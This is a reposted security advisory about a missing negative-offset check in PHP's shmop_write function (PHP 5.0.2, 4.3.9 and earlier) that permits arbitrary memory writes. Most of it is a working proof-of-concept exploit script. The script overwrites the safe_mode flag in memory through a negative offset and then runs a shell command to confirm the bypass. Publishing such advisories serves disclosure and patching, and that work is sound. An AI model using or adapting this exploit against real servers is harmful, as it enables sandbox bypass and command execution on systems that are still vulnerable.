信息来源:安全小组
Summary
The shared memory PHP module has a memory leak when shmop_write function checks for offset bounds. This flaw could lead to complete bypassing of Safe Mode and other bad things.
Details
Vulnerable Systems:
* PHP version 5.0.2 and prior
* PHP version 4.3.9 and prior
Immune Systems:
* PHP version 5.0.3 or newer
* PHP version 4.3.10 or newer
shmop.c in PHP_FUNCTION(shmop_write) function does not check if the 'offset' value is negative, therefore it is possible to overwrite arbitrary memory with:
memcpy(shmop->addr + offset, data, writesize);
In particular it can be used to set safe_mode to off.
Exploit:
The exploit code needs some gdb debugging or printing of the address of core_globals.safe_mode and some try-and-try again to get the right distance to set in '$offset'.
<?
/*
Php Safe_mode Bypass Proof of concept.
Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it
Disclaimer: The author is not responsible of any damage this script can cause
-SECU
*/
$shm_id = shmop_open(0xff2, "c", 0644, 100);
if (!$shm_id) {
echo "Couldn't create shared memory segment\n";
die;
}
// $data="\x01";
// the new value for safe_mode
$data="\x00";
// this (-3842685) is my offset to reach core_globals.safe_mode
// taken with gdb. (0x40688d83)
$offset=-3842685;
// Lets write the new value at our offset.
$shm_bytes_written = shmop_write($shm_id, $data, $offset );
if ($shm_bytes_written != strlen($data)) {
echo "Couldn't write the entire length of data\n";
}
//Now lets delete the block and close the shared memory segment
if (!shmop_delete($shm_id)) {
echo "Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);
// Let's try if safe mode has been set to off
echo passthru("id");
dl("shmop.so");
?>
Additional information
The information has been provided by Stefano Di Paola.